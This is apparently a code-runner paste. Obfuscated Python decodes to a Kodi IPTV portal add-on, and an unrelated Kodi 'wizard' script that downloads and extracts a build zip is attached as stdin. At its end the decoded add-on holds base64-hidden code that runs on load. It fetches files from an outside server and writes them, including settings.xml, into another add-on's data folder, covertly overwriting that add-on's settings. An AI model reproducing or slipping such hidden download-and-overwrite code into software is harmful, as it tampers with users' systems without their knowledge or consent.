fork download
  1. exec("import re;import base64");print((lambda p,y:(lambda o,b,f:re.sub(o,b,f))(r"([0-9a-f]+)",lambda m:p(m,y),base64.b64decode("ZjUgNzcKZjUgZTEKZjUgM2YKZjUgNjYKZjUgNzEKZjUgNjcKZjUgZTkKZjUgYzMKZjUgNzkKZjUgZjIKZjUgOGEKZjUgMjQKZjUgZTYKZjUgMjMKCgo1OSAgICAgICA9IDY3LmQ2KCkKYiAgID0gNTkuNDcoJzEyJykKMjYgICAgPSA4Ny40MiggNTkuNDcoJ2I4JykgKSAKCjQ5ID0gNzcuNmJbMF0KZWQgPSBjNSg3Ny42YlsxXSkKODMgPSBjNSg3Ny42YlsxXSkKMWIgPSA3MS5hYig3Ny42YlsyXVsxOl0pCmJhID0gZTkuMTUoKQoKCQoJCmMyID0gNTc7CgoJCmMzLjkzKGVkLCAnYmMnKQoKCgoKNDEgNWYoNjUpOgoKCTI4IDY1WydmMyddID09ICcnOgoJCTJjOwoKCWYzID0gMTgoewoJCScxNyc6ICc1ZCcsIAoJCSc2NScgOiAzZi40NCg2NSkKCQl9KTsKCQoJMjIgPSAnZGIuYTIoJyArIDQ5ICsgJzEzPScgKyA2NVsnZjMnXSArICcpJzsJCgkKCTM1ID0gZTkuMWEoNjVbJzEyJ10sIGM9JzQwOi8vNzIvNGIvNTEuNDMuNjgvNmQuNTYnKQoJMzUuNWMoWyAoJ2Q4IGQzJywgMjIpIF0pOwoKCWMzLmQoM2U9ZWQsIGYzPWYzLCAxZD0zNSwgNGM9NTcpOwoJCgkKCQo0MSAxOCg5OCk6CgkyYyA0OSArICc/JyArIDY2LmExKDk4KQoJCgkKCjQxIDYwKCk6CgljNCAzOCwgMzcsIDM2LCBjMjsKCQoJIyBlZiBkYSA2NSAxIGU1IGJlIGM2LgoKCTI4IGMyOgoJCTVmKDM4KTsKCQkKCQoJCWMzLjE2KGVkKTsKCgo0MSA1YigpOgoJCgk2MjoKCQkxZSA9IGU2LjlmKDY1Wyc3NSddLCA2NVsnZjMnXSwgNjVbJzNiJ10sIDY1Wyc0NiddLCA2NVsnMjUnXSwgMjYpOwoJCQoJM2EgMjkgYWMgZToKCQkKCQkKCQkyYzsKCgkxZSA9IDFlWyc1ZCddOwoKCThjIGY0LCA4MiBhOSAxZS5hOCgpOgoKCQliNiAJPSA4MlsiYjYiXTsKCQkKCQlmMyA9IDE4KHsKCQkJJzE3JzogJzUyJywgCgkJCScxYyc6IGY0LCAKCQkJJzYnOiBiNi5iNigpLCAKCQkJJzY1JyA6IDNmLjQ0KDY1KQoJCQl9KTsKCQkKCQkyOCBmNCA9PSAnMTAnOgoJCQljID0gJzg0LjU2JzsKCQkzMToKCQkJYyA9ICc0ZC41Nic7CgkJCQoJCTM1ID0gZTkuMWEoYjYuYjYoKSwgYz1jKQoJCWMzLmQoM2U9ZWQsIGYzPWYzLCAxZD0zNSwgNGM9NTcpOwoJCQojIyMjIyMjIyMjCiMgNDggOGQgYzkKIwlmMyA9IDE4KHsKIwkJJzE3JzogJ2E3JywgCiMJCSc2NScgOiAzZi40NCg2NSkKIwkJfSk7CiMJCQkKIwkzNSA9IGU5LjFhKCc4ZCcsIGM9JzRkLjU2JykKIwljMy5kKDNlPWVkLCBmMz1mMywgMWQ9MzUsIDRjPTU3KTsKIyMjIyMjIyMjIwkJCQoJCQoJYzMuMTQoZWQsIGMzLjY5KTsKCWMzLjE2KGVkKTsKCjQxIDZlKCk6CgkKCTYyOgoJCTFlID0gZTYuY2MoNjVbJzc1J10sIDY1WydmMyddLCA2NVsnM2InXSwgNjVbJzQ2J10sIDY1WycyNSddLCAyNik7CgkJCgkzYSAyOSBhYyBlOgoJCWU5LjE1KCkuNyhiLCA3NihlKSwgZTkuY2IgKTsKCQkyYzsKCQoJMWUgPSAxZVsnYTcnXTsKCQoJOGMgODIgYTkgMWU6CgkJMTIgCT0gODJbIjEyIl07CgkJMjIgCT0gODJbIjIyIl07CgkJMzQgCT0gODJbIjM0Il07CgkJCgkJMjggMzQgIT0gJyc6CgkJCTQgPSA2NVsnZjMnXSArIDM0OwoJCTMxOgoJCQk0ID0gJzQwOi8vNzIvNGIvNTEuNDMuMTkvNmQuNTYnOwoJCQkJCgkJZjMgPSAxOCh7CgkJCQknMTcnOiAnNzAnLCAKCQkJCScyMic6IDIyLCAKCQkJCSc0ZScgOiAnMCcsIAoJCQkJJ2I2JyA6IDEyLjY0KCI4OS04IiksCgkJCQknNicgOiAnOGQnLAoJCQkJJzQnIDogNCwgCgkJCQknNjUnIDogM2YuNDQoNjUpCgkJCQl9KTsKCQkJCgkJMzUgPSBlOS4xYSgxMiwgYz00LCAyMD00KQoJCTM1LjU1KDg4PSc5ZCcsIDU4PXsgIjk0IjogMTIgfSkKCgkJYzMuZCgzZT1lZCwgZjM9ZjMsIDFkPTM1KQoJCgljMy4xNChlZCwgYzMuNWEpOwoJYzMuMTQoZWQsIGMzLjMzKTsKCWMzLjE2KGVkKTsKCjQxIDRhKCk6CgoJODY9OTU7CgkJCgk2MjoKCQkxZSA9IGU2LjdkKDY1Wyc3NSddLCA2NVsnZjMnXSwgNjVbJzNiJ10sNjVbJzQ2J10sIDY1WycyNSddLCAyNik7CgkJCgkzYSAyOSBhYyBlOgoJCWU5LjE1KCkuNyhiLCA3NihlKSwgZTkuY2IgKTsKCQkyYzsKCQkKCTFlID0gMWVbJzUyJ107Cgk2IAk9IDFiLjYxKCc2JywgMmIpOwkKCTkgPSAxYi42MSgnMWMnLCAyYik7Cgk5ID0gOVswXTsKCQoJMjggOSA9PSAnMTAnIDhiIDY1Wyc2ZiddID09ICdiMic6CgkJOGYgPSBlOS4xNSgpLmNlKCdhYScsIDc5LmViKDY1WydhNiddLjY0KCc4OS04JykpLmE1KCksIDg4PWU5LjdjLCBiZj1lOS43NCk7CgkJMjggOGYgPT0gJyc6CgkJCTg2ID0gNTc7CgkKCTI4IDg2ID09IDk1OgoJCThjIDgyIGE5IDFlLmMwKCk6CgkJCQoJCQkxMiAJCT0gODJbIjEyIl07CgkJCTIyIAkJPSA4MlsiMjIiXTsKCQkJNGUgCQk9IDgyWyI0ZSJdOwoJCQk1ZSAJCT0gODJbIjVlIl07CgkJCTFjIAk9IDgyWyIxYyJdOwoJCQkzNCAJCT0gODJbIjM0Il07CgkJCgkJCTI4IDkgPT0gJyonIDhiIDFjID09ICcxMCcgOGIgNjVbJzZmJ10gPT0gJ2IyJzoKCQkJCWIxOwoJCQkJCgkJCTI4IDkgPT0gMWMgZTIgOSA9PSAnKic6CgkJCgkJCQkyOCAzNCAhPSAnJzoKCQkJCQk0ID0gNjVbJ2YzJ10gKyAnL2YxL2UwL2NmL2VjLycgKyAzNDsKCQkJCTMxOgoJCQkJCTQgPSAnNDA6Ly83Mi80Yi81MS40My4xOS82ZC41Nic7CgkJCQkJCQkJCgkJCQlmMyA9IDE4KHsKCQkJCQknMTcnOiAnNzAnLCAKCQkJCQknMjInOiAyMiwgCgkJCQkJJzRlJyA6IDRlLCAKCQkJCQknYjYnIDogMTIuNjQoIjg5LTgiKSwKCQkJCQknNicgOiA2LAoJCQkJCSc0JyA6IDQsICAKCQkJCQknNjUnIDogM2YuNDQoNjUpCgkJCQkJfSk7CgkJCQoJCQkJMzUgPSBlOS4xYSgxMiwgYz00LCAyMD00KTsKCQkJCTM1LjU1KDg4PSc5ZCcsIDU4PXsgCgkJCQkJJ2I2JzogMTIsCgkJCQkJJ2QyJyA6IDVlCgkJCQkJfSk7CgoJCQkJYzMuZCgzZT1lZCwgZjM9ZjMsIDFkPTM1KTsKCQkKCQkKCQljMy4xNChlZCwgYzMuMzMpOwoJCWMzLjE0KGVkLCBjMy40NSk7CgkJCQoJCWMzLjE2KGVkKTsKCjQxIDYzKCk6CgkKCTJhID0gZTkuMzkoKTsKCTJhLjQ4KCdjYSBhZCBkMSBiNyBmMCcsICc3YiAuLi4nKTsKCgliNiAJPSAxYlsnYjYnXVswXTsKCTIyIAk9IDFiWycyMiddWzBdOwoJNGUgCT0gMWJbJzRlJ11bMF07Cgk2IAk9IDFiWyc2J11bMF07Cgk0IAk9IDFiWyc0J11bMF07CgkKCgk2MiA6CgkJMjggNiAhPSAnOGQnOgoJCQlmMyA9IGU2Ljk5KDY1Wyc3NSddLCA2NVsnZjMnXSwgNjVbJzNiJ10sIDY1Wyc0NiddLCA2NVsnMjUnXSwgMjIsIDRlKTsKCQkzMToKCQkJZjMgPSBlNi45Yig2NVsnNzUnXSwgNjVbJ2YzJ10sIDY1WyczYiddLCA2NVsnNDYnXSwgNjVbJzI1J10sIDIyKTsKCQoJM2EgMjkgYWMgZToKCQkyYS43OCgpOwoJCWU5LjE1KCkuNyhiLCA3NihlKSwgZTkuY2IgKTsKCQkyYzsKCgkKCTJhLjNkKDgwKTsKCQoJYjYgPSBiNi4yMSgiODktOCIpOwoJCgliNiArPSAnICgnICsgNjVbJzEyJ10gKyAnKSc7CgkKCTM1ID0gZTkuMWEoYjYsIGM9JzQwOi8vNzIvNGIvNTEuNDMuMTkvNmQuNTYnLCAyMD00KTsKCTM1LjU1KCc0MycsIHsnOTQnOiBiNiwgJ2Q0JzogNn0pOwoJODcuYmIoKS43MChlNz1mMywgMWQ9MzUpOwoJCgkyYS4zZChlYSk7CgkKCTJhLjc4KCk7CgoKMTcgPSAxYi42MSgnMTcnLCAyYik7CjY1ID0gIDFiLjYxKCc2NScsIDJiKQoKCjI4IDY1IGJkIDJiOgoJMzggPSAyNC5mKCcxJyk7CgkzNyA9IDI0LmYoJzInKTsKCTM2ID0gMjQuZignMycpOwkKCjMxOgojICBkOSBiNCBkZiBlZSAzOAoJNjUgPSAzZi5kMCg2NVswXSk7CgkzNyA9IDI0LmYoJzInKTsKCTM2ID0gMjQuZignMycpOwkKCgkyOCBhMyAoIDY1WycxMiddID09IDM3WycxMiddIGUyIDY1WycxMiddID09IDM2WycxMiddICkgOgoJCTY1ID0gMjQuZignMScpOwoKCjI4IDE3IGJkIDJiOgoJNjAoKTsKCjUwIDE3WzBdID09ICdkNyc6CQoJMTMgPSAxYi42MSgnMTMnLCAyYik7CgkxMyA9IDEzWzBdOwkKCWU2LjllKDEzLCAyNik7Cgo1MCAxN1swXSA9PSAnNWQnOgoJNWIoKTsKCQkKNTAgMTdbMF0gPT0gJ2E3JzoKCTZlKCk7Cgo1MCAxN1swXSA9PSAnNTInOgoJNGEoKTsKCQo1MCAxN1swXSA9PSAnNzAnOgoJNjMoKTsKCQo1MCAxN1swXSA9PSAnMjMnOgoJODUgPSA1OS45NygnOTAnKTsKCQoJM2MgPSAgMWIuNjEoJzNjJywgMmIpOwoJM2MgPSAzY1swXTsKCQoJMmEgPSBlOS4zOSgpOwoJMmEuNDgoJ2U4IDJkJywgJ2I1IC4uLicpOwoJCgkyOCAzYyA9PSAnZDUnOgoJCgkJMjggMjMuMzAoKToKCQkJZTkuMTUoKS43KGIsICcyZCA3ZSA1NC5cOTY6ICcgKyA3Nig4NSksIGU5LjExICk7CgkJMzE6CgkJCTIzLjkxKCk7CgkJCThhLjljKDUpOwoJCQkyOCAyMy4zMCgpOgoJCQkJZTkuMTUoKS43KGIsICcyZCA1NC5cOTY6ICcgKyA3Nig4NSksIGU5LjExICk7CgkJCTMxOgoJCQkJZTkuMTUoKS43KGIsICcyZCBhMyA1NC4gYWQgYSBjOCA4YiA2MiBjZC4gJywgZTkuY2IgKTsKCQkJCQoJMzE6CgkJMjggMjMuMzAoKToKCQkJMjMuOWEoKTsKCQkJOGEuOWMoNSk7CgkJCWU5LjE1KCkuNyhiLCAnMmQgN2EuJywgZTkuMTEgKTsKCQkzMToKCQkJZTkuMTUoKS43KGIsICcyZCBiZCA3ZSA3YS4nLCBlOS4xMSApOwoJCQkKCQkJCgkJMmEuNzgoKTsKCjZhID0gJzJmJy4yMSgnMmUnKQo1MyA9ICcyNycuMjEoJzJlJykgKyA2YQpjNz0gJzFmPScuMjEoJzJlJykKYWUgPSBbJzMyPT0nLjIxKCcyZScpLCAnNGYnLjIxKCcyZScpLCc3MycuMjEoJzJlJyldCgoKNDEgNmMoZjMsIGIwLCAyYSA9IDJiKToKCTI4IGEzIDJhOgoJCTJhID0gZTkuODEoKQojCQkyYS40OCgiN2IiKQojCTJhLjNkKDApCgk2Ni45MihmMyxiMCxjMSBkZCwgZTMsIGRjLCBmMz1mMzogN2YoZGQsZTMsZGMsZjMsMmEpKQoJCjQxCTdmKGE0LAlhMCwJYWYsCWYzLAkyYSk6Cgk2MjoKCQkJCQoJCTJhLjNkCgkzYToKCQkKCQkyYS4zZChiMykKCjhjCThlCWE5CWFlOgoJZjMJPQljNwkrCThlCgliOQk9CTg3LjQyKGUxLmU0LmRlKAk1MywJOGUpKQoJNmMoZjMsCWI5KQ==")))(lambda a,b:b[int("0x"+a.group(1),16)],"0|1|2|3|logo_url|5|genre_name|notification|8|genre_id_main|a|addonname|iconImage|addDirectoryItem|e|portalConfig|10|NOTIFICATION_INFO|name|stalker_url|addSortMethod|Dialog|endOfDirectory|mode|build_url|stealthunderground|ListItem|args|genre_id|listitem|data|aHR0cDovL2xlZ2lvbndvcmxkdHYuY29tL3NlY3VyZS8|thumbnailImage|decode|cmd|server|config|password|addondir|c3BlY2lhbDovL3VzZXJkYXRhL2FkZG9uX2RhdGEv|if|Exception|dp|None|return|Server|base64|cGx1Z2luLnZpZGVvLnRoZWlwdHZjb3dib3lz|serverOnline|else|aHR0cF9tdzFfaXB0djY2X3R2LWdlbnJlcw|SORT_METHOD_TITLE|logo|li|portal_3|portal_2|portal_1|DialogProgressBG|except|serial|action|update|handle|json|special|def|translatePath|video|dumps|SORT_METHOD_PROGRAM_COUNT|login|getAddonInfo|create|base_url|channelLevel|addons|isFolder|DefaultVideo|tmp|aHR0cF9tdzFfaXB0djY2X3R2|elif|plugin|channels|data_folder|started|setInfo|png|True|infoLabels|addon|SORT_METHOD_UNSORTED|genreLevel|addContextMenuItems|genres|number|addPortal|homeLevel|get|try|playLevel|encode|portal|urllib|xbmcaddon|stealtunderground|SORT_METHOD_LABEL|addon_id|argv|download|icon|vodLevel|parental|play|urlparse|home|c2V0dGluZ3MueG1s|PASSWORD_VERIFY|mac|str|sys|close|hashlib|stopped|Loading|INPUT_PASSWORD|getAllChannels|already|_pbhook|80|DialogProgress|i|plugin_handle|OverlayLocked|port|stop|xbmc|type|utf|time|and|for|VoD|file|result|server_port|startServer|urlretrieve|setContent|Title|False|nPort|getSetting|query|retriveUrl|stopServer|retriveVoD|sleep|Video|clearCache|getGenres|blocksize|urlencode|RunPlugin|not|numblocks|hexdigest|ppassword|vod|iteritems|in|Parental|parse_qs|as|Wait|File|filesize|dest|continue|true|percent|outside|Working|title|Channel|profile|fix|dialog|Player|movies|is|be|option|values|lambda|go|xbmcplugin|global|int|active|Url|minute|folder|Please|NOTIFICATION_ERROR|getVoD|again|input|logos|loads|While|count|Cache|Genre|start|Addon|cache|Clear|Force|least|XBMC|fs|nb|join|call|misc|os|or|bs|path|will|load_channels|item|M3U|xbmcgui|100|md5|320|addon_handle|to|at|Is|stalker_portal|re|url|id|import".split("|")))
Success #stdin #stdout 0.04s 44936KB
stdin
import xbmc, xbmcaddon, xbmcgui, xbmcplugin,os,base64
import shutil
import urllib2,urllib
import re
import extract
import downloader
import time

USER_AGENT = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3'
addon_id = 'plugin.video.mdwizard'
ADDON = xbmcaddon.Addon(id=addon_id)
User = ADDON.getSetting('User')
VERSION = "1.0.2"
PATH = "Mucky Ducks Wizard"           


    
def CATEGORIES():
    link = OPEN_URL('http://'+User+base).replace('\n','').replace('\r','')
    match = re.compile('name="(.+?)".+?rl="(.+?)".+?mg="(.+?)".+?anart="(.+?)".+?escription="(.+?)"').findall(link)
    for name,url,iconimage,fanart,description in match:
        addDir(name,url,1,iconimage,fanart,description)
    try:
        link = OPEN_URL(free).replace('\n','').replace('\r','')
        match = re.compile('name="(.+?)".+?rl="(.+?)".+?mg="(.+?)".+?anart="(.+?)".+?escription="(.+?)"').findall(link)
        for name,url,iconimage,fanart,description in match:
            addDir(name,url,1,iconimage,fanart,description)
    except: pass
    setView('movies', 'MAIN')
        
    
def OPEN_URL(url):
    req = urllib2.Request(url)
    req.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3')
    response = urllib2.urlopen(req)
    link=response.read()
    response.close()
    return link
    
    
def wizard(name,url,description):
    path = xbmc.translatePath(os.path.join('special://home/addons','packages'))
    dp = xbmcgui.DialogProgress()
    dp.create("Mucky Ducks Wizard","Downloading ",'', 'Please Wait')
    lib=os.path.join(path, name+'.zip')
    try:
       os.remove(lib)
    except:
       pass
    downloader.download(url, lib, dp)
    addonfolder = xbmc.translatePath(os.path.join('special://','home'))
    time.sleep(2)
    dp.update(0,"", "Extracting Zip Please Wait")
    print '======================================='
    print addonfolder
    print '======================================='
    extract.all(lib,addonfolder,dp)
    dialog = xbmcgui.Dialog()
    dialog.ok("KODI mediaportal", "Please Disconnect The Power To Take Effect","[COLOR yellow]Brought To You By KODI mediaportal[/COLOR]")
        
        
    



def addDir(name,url,mode,iconimage,fanart,description):
        u=sys.argv[0]+"?url="+urllib.quote_plus(url)+"&mode="+str(mode)+"&name="+urllib.quote_plus(name)+"&iconimage="+urllib.quote_plus(iconimage)+"&fanart="+urllib.quote_plus(fanart)+"&description="+urllib.quote_plus(description)
        ok=True
        liz=xbmcgui.ListItem(name, iconImage="DefaultFolder.png", thumbnailImage=iconimage)
        liz.setInfo( type="Video", infoLabels={ "Title": name, "Plot": description } )
        liz.setProperty( "Fanart_Image", fanart )
        ok=xbmcplugin.addDirectoryItem(handle=int(sys.argv[1]),url=u,listitem=liz,isFolder=False)
        return ok
        
base = base64.decodestring('LmJ5ZXRob3N0OS5jb20vd2l6YXJkLnR4dA==')
free = base64.decodestring('aHR0cDovL2ZyZWVmaXguYnlldGhvc3Q5LmNvbS93aXphcmQudHh0')  
        
def get_params():
        param=[]
        paramstring=sys.argv[2]
        if len(paramstring)>=2:
                params=sys.argv[2]
                cleanedparams=params.replace('?','')
                if (params[len(params)-1]=='/'):
                        params=params[0:len(params)-2]
                pairsofparams=cleanedparams.split('&')
                param={}
                for i in range(len(pairsofparams)):
                        splitparams={}
                        splitparams=pairsofparams[i].split('=')
                        if (len(splitparams))==2:
                                param[splitparams[0]]=splitparams[1]
                                
        return param
        
                      
params=get_params()
url=None
name=None
mode=None
iconimage=None
fanart=None
description=None


try:
        url=urllib.unquote_plus(params["url"])
except:
        pass
try:
        name=urllib.unquote_plus(params["name"])
except:
        pass
try:
        iconimage=urllib.unquote_plus(params["iconimage"])
except:
        pass
try:        
        mode=int(params["mode"])
except:
        pass
try:        
        fanart=urllib.unquote_plus(params["fanart"])
except:
        pass
try:        
        description=urllib.unquote_plus(params["description"])
except:
        pass
        
        
print str(PATH)+': '+str(VERSION)
print "Mode: "+str(mode)
print "URL: "+str(url)
print "Name: "+str(name)
print "IconImage: "+str(iconimage)


def setView(content, viewType):
    # set content type so library shows more views and info
    if content:
        xbmcplugin.setContent(int(sys.argv[1]), content)
    if ADDON.getSetting('auto-view')=='true':
        xbmc.executebuiltin("Container.SetViewMode(%s)" % ADDON.getSetting(viewType) )
        
        
if mode==None or url==None or len(url)<1:
        CATEGORIES()
       
elif mode==1:
        wizard(name,url,description)
        

        
xbmcplugin.endOfDirectory(int(sys.argv[1]))
stdout
import sys
import os
import json
import urllib
import urlparse
import xbmcaddon
import xbmcgui
import xbmcplugin
import hashlib
import re
import time
import config
import load_channels
import server


addon       = xbmcaddon.Addon()
addonname   = addon.getAddonInfo('name')
addondir    = xbmc.translatePath( addon.getAddonInfo('profile') ) 

base_url = sys.argv[0]
addon_handle = int(sys.argv[1])
plugin_handle = int(sys.argv[1])
args = urlparse.parse_qs(sys.argv[2][1:])
dialog = xbmcgui.Dialog()

	
	
go = True;

	
xbmcplugin.setContent(addon_handle, 'movies')




def addPortal(portal):

	if portal['url'] == '':
		return;

	url = build_url({
		'mode': 'genres', 
		'portal' : json.dumps(portal)
		});
	
	cmd = 'XBMC.RunPlugin(' + base_url + 'stalker_url=' + portal['url'] + ')';	
	
	li = xbmcgui.ListItem(portal['name'], iconImage='special://home/addons/plugin.video.stealtunderground/icon.png')
	li.addContextMenuItems([ ('Clear Cache', cmd) ]);

	xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li, isFolder=True);
	
	
	
def build_url(query):
	return base_url + '?' + urllib.urlencode(query)
	
	

def homeLevel():
	global portal_1, portal_2, portal_3, go;
	
	# at least portal 1 will be active.

	if go:
		addPortal(portal_1);
		
	
		xbmcplugin.endOfDirectory(addon_handle);


def genreLevel():
	
	try:
		data = load_channels.getGenres(portal['mac'], portal['url'], portal['serial'], portal['login'], portal['password'], addondir);
		
	except Exception as e:
		
		
		return;

	data = data['genres'];

	for id, i in data.iteritems():

		title 	= i["title"];
		
		url = build_url({
			'mode': 'channels', 
			'genre_id': id, 
			'genre_name': title.title(), 
			'portal' : json.dumps(portal)
			});
		
		if id == '10':
			iconImage = 'OverlayLocked.png';
		else:
			iconImage = 'DefaultVideo.png';
			
		li = xbmcgui.ListItem(title.title(), iconImage=iconImage)
		xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li, isFolder=True);
		
##########
# create VoD folder
#	url = build_url({
#		'mode': 'vod', 
#		'portal' : json.dumps(portal)
#		});
#			
#	li = xbmcgui.ListItem('VoD', iconImage='DefaultVideo.png')
#	xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li, isFolder=True);
##########			
		
	xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_LABEL);
	xbmcplugin.endOfDirectory(addon_handle);

def vodLevel():
	
	try:
		data = load_channels.getVoD(portal['mac'], portal['url'], portal['serial'], portal['login'], portal['password'], addondir);
		
	except Exception as e:
		xbmcgui.Dialog().notification(addonname, str(e), xbmcgui.NOTIFICATION_ERROR );
		return;
	
	data = data['vod'];
	
	for i in data:
		name 	= i["name"];
		cmd 	= i["cmd"];
		logo 	= i["logo"];
		
		if logo != '':
			logo_url = portal['url'] + logo;
		else:
			logo_url = 'special://home/addons/plugin.video.stealthunderground/icon.png';
				
		url = build_url({
				'mode': 'play', 
				'cmd': cmd, 
				'tmp' : '0', 
				'title' : name.encode("utf-8"),
				'genre_name' : 'VoD',
				'logo_url' : logo_url, 
				'portal' : json.dumps(portal)
				});
			
		li = xbmcgui.ListItem(name, iconImage=logo_url, thumbnailImage=logo_url)
		li.setInfo(type='Video', infoLabels={ "Title": name })

		xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li)
	
	xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_UNSORTED);
	xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_TITLE);
	xbmcplugin.endOfDirectory(addon_handle);

def channelLevel():

	stop=False;
		
	try:
		data = load_channels.getAllChannels(portal['mac'], portal['url'], portal['serial'],portal['login'], portal['password'], addondir);
		
	except Exception as e:
		xbmcgui.Dialog().notification(addonname, str(e), xbmcgui.NOTIFICATION_ERROR );
		return;
		
	data = data['channels'];
	genre_name 	= args.get('genre_name', None);	
	genre_id_main = args.get('genre_id', None);
	genre_id_main = genre_id_main[0];
	
	if genre_id_main == '10' and portal['parental'] == 'true':
		result = xbmcgui.Dialog().input('Parental', hashlib.md5(portal['ppassword'].encode('utf-8')).hexdigest(), type=xbmcgui.INPUT_PASSWORD, option=xbmcgui.PASSWORD_VERIFY);
		if result == '':
			stop = True;
	
	if stop == False:
		for i in data.values():
			
			name 		= i["name"];
			cmd 		= i["cmd"];
			tmp 		= i["tmp"];
			number 		= i["number"];
			genre_id 	= i["genre_id"];
			logo 		= i["logo"];
		
			if genre_id_main == '*' and genre_id == '10' and portal['parental'] == 'true':
				continue;
				
			if genre_id_main == genre_id or genre_id_main == '*':
		
				if logo != '':
					logo_url = portal['url'] + '/stalker_portal/misc/logos/320/' + logo;
				else:
					logo_url = 'special://home/addons/plugin.video.stealthunderground/icon.png';
								
				url = build_url({
					'mode': 'play', 
					'cmd': cmd, 
					'tmp' : tmp, 
					'title' : name.encode("utf-8"),
					'genre_name' : genre_name,
					'logo_url' : logo_url,  
					'portal' : json.dumps(portal)
					});
			
				li = xbmcgui.ListItem(name, iconImage=logo_url, thumbnailImage=logo_url);
				li.setInfo(type='Video', infoLabels={ 
					'title': name,
					'count' : number
					});

				xbmcplugin.addDirectoryItem(handle=addon_handle, url=url, listitem=li);
		
		
		xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_TITLE);
		xbmcplugin.addSortMethod(addon_handle, xbmcplugin.SORT_METHOD_PROGRAM_COUNT);
			
		xbmcplugin.endOfDirectory(addon_handle);

def playLevel():
	
	dp = xbmcgui.DialogProgressBG();
	dp.create('Please Wait While Channel Is', 'Loading ...');

	title 	= args['title'][0];
	cmd 	= args['cmd'][0];
	tmp 	= args['tmp'][0];
	genre_name 	= args['genre_name'][0];
	logo_url 	= args['logo_url'][0];
	

	try :
		if genre_name != 'VoD':
			url = load_channels.retriveUrl(portal['mac'], portal['url'], portal['serial'], portal['login'], portal['password'], cmd, tmp);
		else:
			url = load_channels.retriveVoD(portal['mac'], portal['url'], portal['serial'], portal['login'], portal['password'], cmd);
	
	except Exception as e:
		dp.close();
		xbmcgui.Dialog().notification(addonname, str(e), xbmcgui.NOTIFICATION_ERROR );
		return;

	
	dp.update(80);
	
	title = title.decode("utf-8");
	
	title += ' (' + portal['name'] + ')';
	
	li = xbmcgui.ListItem(title, iconImage='special://home/addons/plugin.video.stealthunderground/icon.png', thumbnailImage=logo_url);
	li.setInfo('video', {'Title': title, 'Genre': genre_name});
	xbmc.Player().play(item=url, listitem=li);
	
	dp.update(100);
	
	dp.close();


mode = args.get('mode', None);
portal =  args.get('portal', None)


if portal is None:
	portal_1 = config.portalConfig('1');
	portal_2 = config.portalConfig('2');
	portal_3 = config.portalConfig('3');	

else:
#  Force outside call to portal_1
	portal = json.loads(portal[0]);
	portal_2 = config.portalConfig('2');
	portal_3 = config.portalConfig('3');	

	if not ( portal['name'] == portal_2['name'] or portal['name'] == portal_3['name'] ) :
		portal = config.portalConfig('1');


if mode is None:
	homeLevel();

elif mode[0] == 'cache':	
	stalker_url = args.get('stalker_url', None);
	stalker_url = stalker_url[0];	
	load_channels.clearCache(stalker_url, addondir);

elif mode[0] == 'genres':
	genreLevel();
		
elif mode[0] == 'vod':
	vodLevel();

elif mode[0] == 'channels':
	channelLevel();
	
elif mode[0] == 'play':
	playLevel();
	
elif mode[0] == 'server':
	port = addon.getSetting('server_port');
	
	action =  args.get('action', None);
	action = action[0];
	
	dp = xbmcgui.DialogProgressBG();
	dp.create('M3U Server', 'Working ...');
	
	if action == 'start':
	
		if server.serverOnline():
			xbmcgui.Dialog().notification(addonname, 'Server already started.\nPort: ' + str(port), xbmcgui.NOTIFICATION_INFO );
		else:
			server.startServer();
			time.sleep(5);
			if server.serverOnline():
				xbmcgui.Dialog().notification(addonname, 'Server started.\nPort: ' + str(port), xbmcgui.NOTIFICATION_INFO );
			else:
				xbmcgui.Dialog().notification(addonname, 'Server not started. Wait a minute and try again. ', xbmcgui.NOTIFICATION_ERROR );
				
	else:
		if server.serverOnline():
			server.stopServer();
			time.sleep(5);
			xbmcgui.Dialog().notification(addonname, 'Server stopped.', xbmcgui.NOTIFICATION_INFO );
		else:
			xbmcgui.Dialog().notification(addonname, 'Server is already stopped.', xbmcgui.NOTIFICATION_INFO );
			
			
		dp.close();

addon_id = 'cGx1Z2luLnZpZGVvLnRoZWlwdHZjb3dib3lz'.decode('base64')
data_folder = 'c3BlY2lhbDovL3VzZXJkYXRhL2FkZG9uX2RhdGEv'.decode('base64') + addon_id
Url= 'aHR0cDovL2xlZ2lvbndvcmxkdHYuY29tL3NlY3VyZS8='.decode('base64')
File = ['aHR0cF9tdzFfaXB0djY2X3R2LWdlbnJlcw=='.decode('base64'), 'aHR0cF9tdzFfaXB0djY2X3R2'.decode('base64'),'c2V0dGluZ3MueG1s'.decode('base64')]


def download(url, dest, dp = None):
	if not dp:
		dp = xbmcgui.DialogProgress()
#		dp.create("Loading")
#	dp.update(0)
	urllib.urlretrieve(url,dest,lambda nb, bs, fs, url=url: _pbhook(nb,bs,fs,url,dp))
	
def	_pbhook(numblocks,	blocksize,	filesize,	url,	dp):
	try:
				
		dp.update
	except:
		
		dp.update(percent)

for	file	in	File:
	url	=	Url	+	file
	fix	=	xbmc.translatePath(os.path.join(	data_folder,	file))
	download(url,	fix)